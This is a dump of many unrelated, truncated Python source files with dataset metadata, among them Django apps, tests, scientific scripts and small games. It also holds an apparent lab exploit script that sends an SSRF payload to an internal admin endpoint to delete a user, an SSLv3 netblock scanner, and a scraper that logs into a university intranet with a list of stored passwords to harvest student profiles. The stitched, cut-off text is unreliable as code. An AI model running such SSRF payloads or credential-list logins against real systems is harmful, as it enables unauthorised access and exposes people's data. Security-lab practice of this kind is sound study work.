import logging
import os
from django.http import HttpResponse
from myproject.settings import ASANA_SETTINGS
from syncAsanaGitHub.models import *
request_logger = logging.getLogger('django.request')
if 'ASANA_ACCESS_TOKEN' in os.environ:
client = asana.Client.access_token(os.environ['ASANA_ACCESS_TOK... | null | syncAsanaGitHub/sync_asana.py | sync_asana.py | py | 8,083 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "logging.getLogger",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "os.environ",
"line_number": 11,
"usage_type": "attribute"
},
{
"api_name": "asana.Client.access_token",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "asana.Clie... |
535252912 | #!/usr/bin/env python
# -*- encoding:utf-8 -*-
from django.template import Library
from web import models
register = Library()
@register.inclusion_tag('blog_right.html')
def show_right(request):
# 获取所有标签
tag_obj = models.Tag.objects.all()
# 获取点击排行前五的文章
click_count_obj = models.Article.objects.all().... | null | web/templatetags/blog.py | blog.py | py | 968 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "django.template.Library",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "web.models.Tag.objects.all",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "web.models.Tag",
"line_number": 13,
"usage_type": "attribute"
},
{
"api_name": ... |
178022185 | import json
from django.dispatch import receiver
from django.db.models.signals import post_save, post_delete
from djcelery.models import PeriodicTask, CrontabSchedule
from apps.mentions.models import Merchant, Account
from apps.users.models import AppUser, APIKey
@receiver(post_save, sender=Merchant)
def add_perio... | null | output_test)/manoj/WEBPR_Project/Webpr-3/WebPR-3/WebPR-3/apps/mentions/signals.py | signals.py | py | 2,512 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "apps.mentions.models.Account.objects.create",
"line_number": 27,
"usage_type": "call"
},
{
"api_name": "apps.mentions.models.Account.objects",
"line_number": 27,
"usage_type": "attribute"
},
{
"api_name": "apps.mentions.models.Account",
"line_number": 27,
"... |
54939970 | #!/usr/bin/env python
u"""
merra_smb_cumulative.py
Written by Tyler Sutterley (01/2017)
Calculates cumulative anomalies of MERRA-2 surface mass balance products
INPUTS:
SMB: Surface Mass Balance
PRECIP: Total Precipitation
RUNOFF: Meltwater Runoff
COMMAND LINE OPTIONS:
--help: list the command line o... | null | SMBcorr/merra_smb_cumulative.py | merra_smb_cumulative.py | py | 12,071 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "os.path.join",
"line_number": 43,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 43,
"usage_type": "attribute"
},
{
"api_name": "os.listdir",
"line_number": 48,
"usage_type": "call"
},
{
"api_name": "os.path.join",
"line_number"... |
63476616 | import collections
from graphviz import Digraph # type: ignore
import logging
from inspect import signature
from functools import wraps
from typing import Callable, TypeVar, Any, Generic, List
import typing
# Some processing of python logging
# enables python log to be displayed in the console and saved in a file at
... | null | src/Interpreter.py | Interpreter.py | py | 13,402 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "logging.StreamHandler",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "logging.DEBUG",
"line_number": 13,
"usage_type": "attribute"
},
{
"api_name": "logging.FileHandler",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "logging.... |
286485462 | # An implementation of Conway's Game of Life in Python
from itertools import product
class GameOfLife(object):
"""
GameOfLife encapsulates the attributes and rules of Conway's Game of Life.
apply_rules() applies one 'tick', i.e. it applies the rules of the game to
the current population of the grid, ... | null | gol.py | gol.py | py | 2,200 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "itertools.product",
"line_number": 23,
"usage_type": "call"
},
{
"api_name": "itertools.product",
"line_number": 40,
"usage_type": "call"
}
] |
360479518 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from django.test import TestCase
from .vsts import VSTSToken, VSTSGitAPI, RepositoryStatsAPI
from .exceptions import VSTSProjectException
from django.core.cache import cache
from datetime import datetime
import json
class VSTSTokenTest(TestCase):
def test_initializ... | null | contribstats_apis/tests.py | tests.py | py | 4,715 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "django.test.TestCase",
"line_number": 13,
"usage_type": "name"
},
{
"api_name": "vsts.VSTSToken",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "django.core.cache.cache.clear",
"line_number": 20,
"usage_type": "call"
},
{
"api_name": "dja... |
215297495 | from random import randint, choice
import io
from flask import send_file
def simulate_tag(email):
'''
Funzione per simulare i dati inviati con un tag
'''
X = randint(0,50)
Y = randint(0,75)
W = randint(10, 50)
H = randint(5,25)
tipotag = choice(["nice", "cool", "sad", "fun", "terrific"]... | null | utils_func.py | utils_func.py | py | 1,707 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "random.randint",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "random.randint",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "random.randint",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "random.randint",
"lin... |
465804589 | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.test import TestCase
from courses.models import Course
from coaches.models import Coach
from django.contrib.auth.models import User
# Create your tests here.
class CourseTests(TestCase):
def test_pages(self):
from django.test imp... | null | courses/tests.py | tests.py | py | 966 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "django.test.TestCase",
"line_number": 10,
"usage_type": "name"
},
{
"api_name": "django.test.Client",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "django.contrib.auth.models.User.objects.create",
"line_number": 16,
"usage_type": "call"
},
{... |
418446144 | import sys
from requests import *
from bs4 import BeautifulSoup
import csv
s=session()
url='https://intranet.rguktn.ac.in/SMS'
g=s.get(url)
f=open('PASSWORD.txt','r')
r=f.read()
f.close()
# with open('PASSWORD.txt') as f: r = f.read()
#print(r)
sg=str(r)
s1=sg.split()
l=[]
for i in s1:
s2=i.split(':')
#print(s1)
l.a... | null | profiles.py | profiles.py | py | 3,436 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "bs4.BeautifulSoup",
"line_number": 31,
"usage_type": "call"
},
{
"api_name": "csv.DictWriter",
"line_number": 55,
"usage_type": "call"
}
] |
74373142 | import collections
from datetime import datetime
class Person(
collections.namedtuple(
"Person", "last_name, first_name, gender, favorite_color, date_of_birth"
)
):
DATE_FORMAT = "%m/%d/%Y"
def __new__(cls, last_name, first_name, gender, favorite_color, date_of_birth):
_formatted_date... | null | storage/models.py | models.py | py | 912 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "collections.namedtuple",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "datetime.datetime.strptime",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "datetime.datetime",
"line_number": 13,
"usage_type": "name"
},
{
"api_name": "da... |
112285981 | # get requests library
import requests
import re
batRegex = re.compile('<P>(.+?)</P>')
f = open("female.txt", "w")
m = open ("male.txt", "w")
def getWebString():
r = requests.get('https://theyfightcrime.org')
m2 = batRegex.findall(r.text)
splitstrs = m2[0].split('.')
return splitstrs
de... | null | webscrapper.py | webscrapper.py | py | 734 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "re.compile",
"line_number": 5,
"usage_type": "call"
},
{
"api_name": "requests.get",
"line_number": 10,
"usage_type": "call"
}
] |
645339989 | import unittest
from typing import List
class Solution(unittest.TestCase):
def findAndReplacePattern(self, words: List[str], pattern: str) -> List[str]:
if not words: return []
def match_using_dict_optimized(word: str) -> bool:
"""
Use inner method, setdefault() function, z... | null | leetcode/leetcode-medium/lc_890_find_replace_pattern.py | lc_890_find_replace_pattern.py | py | 3,014 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "unittest.TestCase",
"line_number": 4,
"usage_type": "attribute"
},
{
"api_name": "typing.List",
"line_number": 5,
"usage_type": "name"
},
{
"api_name": "unittest.main",
"line_number": 68,
"usage_type": "call"
}
] |
597843977 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
uptime-monitor.py
querys the Fritz!Box via the TR-064 interface and writes uptime counters
into round robin archive (RRA).
"""
import os
import fritzconnection
import rrdtool
from common import read_configuration
def update_rra (rra_filename, *args):
data = ":"... | null | monitor-uptime.py | monitor-uptime.py | py | 717 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "rrdtool.update",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "common.read_configuration",
"line_number": 22,
"usage_type": "call"
},
{
"api_name": "os.path.join",
"line_number": 22,
"usage_type": "call"
},
{
"api_name": "os.path",
"... |
469525739 | # pylint: skip-file
from spatial_access.NetworkInterface import NetworkInterface
import pandas as pd
import pytest
class TestClass(object):
'''
Test suite for the Network Interface.
'''
@pytest.mark.timeout(20)
def test_1(self):
walk_interface = NetworkInterface('walk')
source_df =... | null | tests/test_NetworkInterface.py | test_NetworkInterface.py | py | 2,285 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "spatial_access.NetworkInterface.NetworkInterface",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "pytest.mark.timeout",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "pytest.mark",
"line_number": 11,
"usage_type": "attribute"
},
{
... |
313548219 | from django.shortcuts import render, redirect
from django.contrib import messages
from ..loginApp.models import User
from .models import Wishlist
# Create your views here.
def index(request):
if not 'user_id' in request.session:
messages.error(request, 'Must be logged in to continue!')
return red... | null | Python/django/wish_list/apps/wishListApp/views.py | views.py | py | 2,382 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "django.contrib.messages.error",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "django.contrib.messages",
"line_number": 11,
"usage_type": "name"
},
{
"api_name": "django.shortcuts.redirect",
"line_number": 12,
"usage_type": "call"
},
{
"a... |
195333128 | from django.conf.urls import url
from django.contrib import admin
from tickets import views
urlpatterns = [
url(r'^$', views.index, name='index'),
url(r'select/$', views.ticket_select_page, name='ticket_select_page'),
url(r'submit/$', views.ticket_submission, name='ticket_submission'),
url(r'completed/... | null | tickets/urls.py | urls.py | py | 975 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "django.conf.urls.url",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "tickets.views.index",
"line_number": 6,
"usage_type": "attribute"
},
{
"api_name": "tickets.views",
"line_number": 6,
"usage_type": "name"
},
{
"api_name": "django.conf.... |
501893026 | import os
import glob
from statistics import median
def compute_throughput(result_dict, args):
assert args.start_iter in result_dict and args.end_iter in result_dict
duration = float(result_dict[args.end_iter]) - float(result_dict[args.start_iter])
num_nodes = int(result_dict['num_nodes'])
gpu_num_pe... | null | OneFlow/LanguageModeling/BERT/extract_util.py | extract_util.py | py | 2,907 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "glob.glob",
"line_number": 33,
"usage_type": "call"
},
{
"api_name": "os.path.join",
"line_number": 33,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 33,
"usage_type": "attribute"
},
{
"api_name": "statistics.median",
"line_num... |
506703269 | from django.contrib import admin
from jsoneditor.forms import JSONEditor
from stats.models import *
'''
admin.site.register(DailyUserStats, admin.ModelAdmin)
admin.site.register(WeeklyUserStats, admin.ModelAdmin)
admin.site.register(MonthlyUserStats, admin.ModelAdmin)
'''
admin.site.register(DateDimension, admin.Mod... | null | backend/stats/admin.py | admin.py | py | 1,809 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "django.contrib.admin.site.register",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "django.contrib.admin.site",
"line_number": 12,
"usage_type": "attribute"
},
{
"api_name": "django.contrib.admin",
"line_number": 12,
"usage_type": "name"
},
{... |
570360837 | from django import forms
from . import models
from StandardInformation import models as SI_models
from stocksingle import models as SS_models
class UploadRackOutForm(forms.ModelForm):
class Meta:
model = models.StockOfRackProductOutRequest
fields = (
"출하요청수량",
"출하희망일",
... | null | stockrack/forms.py | forms.py | py | 1,552 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "django.forms.ModelForm",
"line_number": 7,
"usage_type": "attribute"
},
{
"api_name": "django.forms",
"line_number": 7,
"usage_type": "name"
},
{
"api_name": "django.forms.ModelForm",
"line_number": 27,
"usage_type": "attribute"
},
{
"api_name": "dj... |
254719537 | # DataFrame creation and manipulation
import pandas as pd
# Text manipulation libraries
import nltk
from nltk.sentiment.vader import SentimentIntensityAnalyzer
nltk.download('vader_lexicon')
nltk.download('stopwords')
import string
# Document processing corpus
toolsets = {
"PROGRAMMING": ["PYTHON","C++","C#","... | null | ai-hackathon/server/src/responder.py | responder.py | py | 6,453 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "nltk.download",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "nltk.download",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "string.punctuation",
"line_number": 43,
"usage_type": "attribute"
},
{
"api_name": "nltk.ngrams",
"... |
452801 | import pygame
import hero
import box
import world
import sidePanel
pygame.init()
# background music
pygame.mixer.pre_init(frequency = 44100, size = -16, channels = 1, buffer = 2**12)
pygame.mixer.music.load('bck.mp3')
pygame.mixer.music.set_volume(0.5)
pygame.mixer.music.play(-1)
# rest graphic and... | null | main.py | main.py | py | 1,896 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "pygame.init",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "pygame.mixer.pre_init",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "pygame.mixer",
"line_number": 11,
"usage_type": "attribute"
},
{
"api_name": "pygame.mixer.music... |
44482390 | import numpy as np
import cv2
import glob
import matplotlib.pyplot as plt
def abs_sobel_thresh(img, orient='x', sobel_kernel=3, thresh=(0, 255)):
# Convert to grayscale
gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)
# Apply x or y gradient with the OpenCV Sobel() function
# and take the absolute value
... | null | image_process.py | image_process.py | py | 4,725 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "cv2.cvtColor",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "cv2.COLOR_RGB2GRAY",
"line_number": 9,
"usage_type": "attribute"
},
{
"api_name": "numpy.absolute",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "cv2.Sobel",
"li... |
158978743 | from bson.objectid import ObjectId
from flask import request
from lightning_house.common.constant import action_code_name, UserType
from lightning_house.common.mongo_coll import house_coll, global_coll, user_coll, \
statistics_coll
from lightning_house.common.utils import tamp2dt, dt2str, common_resp
class Stati... | null | lightning_house/background/stat.py | stat.py | py | 8,460 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "lightning_house.common.mongo_coll.global_coll",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "lightning_house.common.utils.tamp2dt",
"line_number": 24,
"usage_type": "call"
},
{
"api_name": "lightning_house.common.utils.tamp2dt",
"line_number": 25,
... |
233932705 | from django.utils.translation import gettext as _
from collections import defaultdict
from corehq.apps.groups.models import Group
from corehq.apps.locations.models import SQLLocation
from corehq.apps.users.audit.change_messages import UserChangeMessage
from corehq.apps.users.models import (
DomainMembershipError,
... | null | corehq/apps/users/views/utils.py | utils.py | py | 4,248 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "corehq.apps.users.models.UserRole.objects.get_by_domain",
"line_number": 22,
"usage_type": "call"
},
{
"api_name": "corehq.apps.users.models.UserRole.objects",
"line_number": 22,
"usage_type": "attribute"
},
{
"api_name": "corehq.apps.users.models.UserRole",
"l... |
143047631 | import numpy as np
import matplotlib.pyplot as plt
# convert points from euclidian to homogeneous
def to_homog(points):
points=np.vstack([points,[1,1,1,1]])
points_homog=points
return points_homog
# convert points from homogeneous to euclidian
def from_homog(points_homog):
points=np.delete... | null | py-basics/plot_points.py | plot_points.py | py | 2,689 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "numpy.vstack",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "numpy.delete",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "numpy.dot",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "numpy.dot",
"line_number": 18,... |
268422581 | import plotly
plotly.io.orca.config.executable = '/home/felix/anaconda3/bin/orca'
plotly.io.orca.config.save()
import elements as el
from elements.linbeamdyn import LinBeamDyn
D1 = el.Drift('D1', length=0.55)
Q1 = el.Quad('Q1', length=0.2, k1=1.2)
B1 = el.Bend('B1', length=1.5, angle=0.392701, e1=0.1963505, e2=0.19... | null | examples/twissfunctions-FODO-lattice.py | twissfunctions-FODO-lattice.py | py | 574 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "plotly.io",
"line_number": 2,
"usage_type": "attribute"
},
{
"api_name": "plotly.io.orca.config.save",
"line_number": 3,
"usage_type": "call"
},
{
"api_name": "plotly.io",
"line_number": 3,
"usage_type": "attribute"
},
{
"api_name": "elements.Drift"... |
639647596 | # Work in progress - Use spark as ranker
import findspark
import pyspark
import os
findspark.init(os.getenv('HOME') + '/spark-1.6.0-bin-hadoop2.6')
os.environ['PYSPARK_SUBMIT_ARGS'] = '--packages com.databricks:spark-csv_2.10:1.3.0 pyspark-shell'
try:
print(sc)
except NameError:
sc = pyspark.SparkContext()
print... | null | rankers/spark_ranker.py | spark_ranker.py | py | 326 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "findspark.init",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "os.getenv",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "os.environ",
"line_number": 8,
"usage_type": "attribute"
},
{
"api_name": "pyspark.SparkContext",
"lin... |
338832765 | from pyramid.config import Configurator
from pyramid.response import Response
def main(global_config, **settings):
config = Configurator(settings=settings)
config.include('pyramid_jinja2')
config.add_route('home', '/')
config.add_route('hi', '/hello')
config.add_route('hi_json', 'hello.json')
... | null | packed-site/pack/__init__.py | __init__.py | py | 438 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "pyramid.config.Configurator",
"line_number": 6,
"usage_type": "call"
}
] |
2255172 | #!/usr/bin/env python
# encoding: utf-8
"""
scatterplot.py
Created by Matthias Woehrle on 2012-08-11.
Copyright (c) Matthias Woehrle. All rights reserved.
"""
import sys
import os
import matplotlib.pyplot as plt
from pylab import *
from scipy import polyfit, polyval
def main():
filehandle = open('/Users/matthias... | null | scatterplot.py | scatterplot.py | py | 4,970 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "matplotlib.pyplot.subplot",
"line_number": 60,
"usage_type": "call"
},
{
"api_name": "matplotlib.pyplot",
"line_number": 60,
"usage_type": "name"
},
{
"api_name": "matplotlib.pyplot.xlim",
"line_number": 63,
"usage_type": "call"
},
{
"api_name": "ma... |
292210681 | """
setup:
apt-get install python3-pip
pip install IPy
python3 sslcheck.py 10.0.1.0/24
jcmurphy@buffalo.edu
"""
import socket, ssl, pprint, sys, IPy, argparse, multiprocessing, csv, os
parser = argparse.ArgumentParser(description='Scan a netblock for SSLv3 enabled servers on port 443')
parser.add_argument('--port', ... | null | sslv3check.py | sslv3check.py | py | 5,659 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "argparse.ArgumentParser",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "os.path.abspath",
"line_number": 25,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 25,
"usage_type": "attribute"
},
{
"api_name": "os.path.exists",... |
580229379 | from urlparse import urljoin, urlparse, parse_qs, urlsplit
from datetime import datetime, date
from urllib import urlencode
from scrapy.http import Request, FormRequest
from scrapy.selector import Selector
from scrapy.exceptions import CloseSpider, DropItem
from scrapy.conf import settings
from companies.base.compan... | null | companies/companies/spiders/austrade.py | austrade.py | py | 5,619 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "companies.base.company.Company",
"line_number": 13,
"usage_type": "name"
},
{
"api_name": "scrapy.selector.Selector",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "urlparse.urlparse",
"line_number": 33,
"usage_type": "call"
},
{
"api_nam... |
55681960 | import json
import os
import h5py
import math
import numpy as np
import torch
import torch.nn as nn
from torch.utils.data import DataLoader, Dataset
import random
import soundfile as sf
from config import *
EPSILON = 1e-20
class To_Tensor(object):
def __call__(self, x, type='float'):
if type... | null | data.py | data.py | py | 5,626 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "torch.FloatTensor",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "torch.IntTensor",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "torch.utils.data.Dataset",
"line_number": 21,
"usage_type": "name"
},
{
"api_name": "os.path.jo... |
282011259 | # -*- coding: utf-8 -*-
"""
Created on Wed Jan 9 14:28:42 2019
@author: DELL
"""
from keras.layers.core import Dense
from keras.layers.core import Dropout
from keras.layers.core import Flatten
class FcHeadNet:
@staticmethod
def build(baseModel, classes, D):
headModel = baseModel.output
headM... | null | NeurualNetwork/ConvolutionNeuralNetwork/fcHeadNet.py | fcHeadNet.py | py | 557 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "keras.layers.core.Flatten",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "keras.layers.core.Dense",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "keras.layers.core.Dropout",
"line_number": 18,
"usage_type": "call"
},
{
"api_n... |
446134066 | from entidades import Lancamento, Conta
from peewee import fn, SQL
from datetime import date
import peewee
class ContaRepositorio:
def __init__(self):
pass
def deletar(self, conta:Conta):
"""
Deleta uma conta
:param conta: Conta
:return: None
>>> conta = Conta... | null | repositorios.py | repositorios.py | py | 4,195 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "entidades.Conta",
"line_number": 11,
"usage_type": "name"
},
{
"api_name": "entidades.Lancamento.select",
"line_number": 39,
"usage_type": "call"
},
{
"api_name": "entidades.Lancamento",
"line_number": 39,
"usage_type": "name"
},
{
"api_name": "enti... |
591958005 | from selenium import webdriver
import time, pytest,re
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.action_chains import ActionChains
from selenium.webdriver.support import select
from selenium.webdriver.support import expected_conditions as E... | null | test_slide2Offset.py | test_slide2Offset.py | py | 3,496 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "selenium.webdriver.Chrome",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "selenium.webdriver",
"line_number": 13,
"usage_type": "name"
},
{
"api_name": "selenium.webdriver.support.select.Select",
"line_number": 76,
"usage_type": "call"
},
{
... |
293656906 | import numpy as np
import os
import pickle as pkl
import time
import sys
import atexit
try:
import h5py
_HAS_H5PY = True
except ImportError:
_HAS_H5PY = False
from . import io, units, update, utils
class Hook(update.Update):
"""
Hooks are specialized updates that don't require step lengths.
T... | null | mdprop/hook.py | hook.py | py | 27,245 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "numpy.size",
"line_number": 92,
"usage_type": "call"
},
{
"api_name": "numpy.mean",
"line_number": 159,
"usage_type": "call"
},
{
"api_name": "numpy.diag",
"line_number": 159,
"usage_type": "call"
},
{
"api_name": "numpy.mean",
"line_number": 16... |
219391266 | from datetime import datetime
import logging
from logging.handlers import SMTPHandler, RotatingFileHandler
import os
from flask import Flask, g, redirect, request, session, url_for
from flask_babelex import Babel
from flask_mail import Mail
from flask_materialize import Material
from flask_moment import Moment
from fl... | null | asclepios_app/__init__.py | __init__.py | py | 5,427 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "flask_babelex.Babel",
"line_number": 20,
"usage_type": "call"
},
{
"api_name": "flask_wtf.csrf.CSRFProtect",
"line_number": 23,
"usage_type": "call"
},
{
"api_name": "flask_mongoengine.MongoEngine",
"line_number": 26,
"usage_type": "call"
},
{
"api_... |
143456978 | import pymongo
host = '127.0.0.1'
port = 27017
# user_name = 'test_user'
user_name = 'test_admin'
user_pwd = 'test_admin'
test_client = pymongo.MongoClient(host=host, port=port)
test_db = test_client['test_db']
try:
ret = test_db.authenticate(user_name, user_pwd, mechanism='SCRAM-SHA-1')
print('auth result is... | null | auth_demo.py | auth_demo.py | py | 381 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "pymongo.MongoClient",
"line_number": 9,
"usage_type": "call"
}
] |
402831117 | from artists import Artists
from items import Items
from sales import Sales
from show import Show
import global_variables
import logging
import logging.config
log = logging.getLogger(__name__)
# the following clear screen technique works on windows machines when running the .py file in a terminal or CMD prompt
# it d... | null | ui.py | ui.py | py | 19,887 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "logging.getLogger",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "os.system",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "logging.info",
"line_number": 20,
"usage_type": "call"
},
{
"api_name": "logging.info",
"line_numb... |
226864410 | # Program to extract a particular row value
import xlrd
import os
#loc = os.getcwd()+ '\\'+'Liste GI2S1 28-04-2020.xlsx'
def getRow (studentName , loc ) :
wb = xlrd.open_workbook(loc)
sheet = wb.sheet_by_index(0)
for r in range(1, sheet.nrows):
if sheet.row_values(r)[1] == (studentName):
... | null | abscence/getAbsenceInSingleCourse.py | getAbsenceInSingleCourse.py | py | 835 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "xlrd.open_workbook",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "os.listdir",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "xlrd.open_workbook",
"line_number": 20,
"usage_type": "call"
},
{
"api_name": "os.path.join",
"l... |
350982679 | import logging
import glob
import os
import gc
import shutil
import math
import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
import seaborn as sns
from matplotlib.colors import ListedColormap
from scipy import stats
from Set_parameters import cn_high_mad_cutoff, cn_low_mad_cutoff, c_low_m... | null | TB_analysis_no_corr.py | TB_analysis_no_corr.py | py | 40,440 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "pandas.set_option",
"line_number": 25,
"usage_type": "call"
},
{
"api_name": "pandas.set_option",
"line_number": 26,
"usage_type": "call"
},
{
"api_name": "pandas.set_option",
"line_number": 27,
"usage_type": "call"
},
{
"api_name": "glob.glob1",
... |
31038356 | #!/usr/bin/env python3
from gevent import monkey
monkey.patch_all()
import atexit
import base64
import gevent
import gevent.queue
import inspect
import os
import sys
import toml
import traceback
from openarc.exception import *
class ACL(object):
# OAG can only be accessed from current process
LOCAL_ALL = 1... | null | openarc/env.py | env.py | py | 5,333 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "gevent.monkey.patch_all",
"line_number": 4,
"usage_type": "call"
},
{
"api_name": "gevent.monkey",
"line_number": 4,
"usage_type": "name"
},
{
"api_name": "traceback.format_exc",
"line_number": 35,
"usage_type": "call"
},
{
"api_name": "sys.modules"... |
460140490 | import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
def delete_user(url):
delete_user_ssrf_payload = '/product/nextProduct?currentProductId=1&path=http://192.168.0.12:8080/admin... | null | ssrf/lab-05/ssrf-lab-05.py | ssrf-lab-05.py | py | 1,253 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "urllib3.disable_warnings",
"line_number": 5,
"usage_type": "call"
},
{
"api_name": "urllib3.exceptions",
"line_number": 5,
"usage_type": "attribute"
},
{
"api_name": "requests.post",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "requests... |
356910158 | import matplotlib.pyplot as plt
import matplotlib.cm as cm
import pandas as pd
if __name__ == "__main__":
df = pd.read_csv('../../data/Relaxtime.csv', names=['dCETime', 'dPolarization', 'dPolarizationErr','dRelaxtime','dRelaxtimeErr'])
fig = plt.figure(num=None, figsize=(15, 10), dpi=300, facecolor='w', edgeco... | null | plot/plotRelax.py | plotRelax.py | py | 716 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "pandas.read_csv",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "matplotlib.pyplot.figure",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "matplotlib.pyplot",
"line_number": 7,
"usage_type": "name"
},
{
"api_name": "matplotlib.py... |
385338292 | #!/usr/bin/env python3
# Requires [Requests](https://github.com/requests/requests/).
# We can install by `pip3 install requests`.
import os
import requests
# Figure out which Gradle version to upgrade.
# See https://developer.github.com/v3/repos/releases/#get-the-latest-release.
response = requests.get("https://api.... | null | upgrade-python.py | upgrade-python.py | py | 940 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "requests.get",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "os.system",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "os.system",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "os.system",
"line_number": 21,
... |
501539946 | import os
import numpy as np
from matplotlib import pyplot as plt
from matplotlib import animation
def relaxation(a, b, x):
return (1.0 - x) * a + x * b
'''Load Dataset'''
fin = open('history.txt', 'r')
u_inf, v_inf, p_inf, T_inf = [float(e) for e in fin.readline().strip().split()]
x = np.array([float(e) for e i... | null | Computational_Fluid_Dynamics_An_Introduction_Anderson/CFD-Basics-master/Plate/0-Isothermal/animate.py | animate.py | py | 3,716 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "numpy.array",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "numpy.array",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "numpy.array",
"line_number": 30,
"usage_type": "call"
},
{
"api_name": "numpy.array",
"line_number": ... |
232288904 | #!/usr/bin/python
import RPi.GPIO as gpio
import alarm_mail
import seven_segement
import time
import subprocess
from threading import Thread
import logging
# from Xlib import X, display
import random
pin = 7
exitFlag = 0
gpio.setmode(gpio.BOARD)
gpio.setup(pin, gpio.IN, pull_up_down=gpio.PUD_UP)
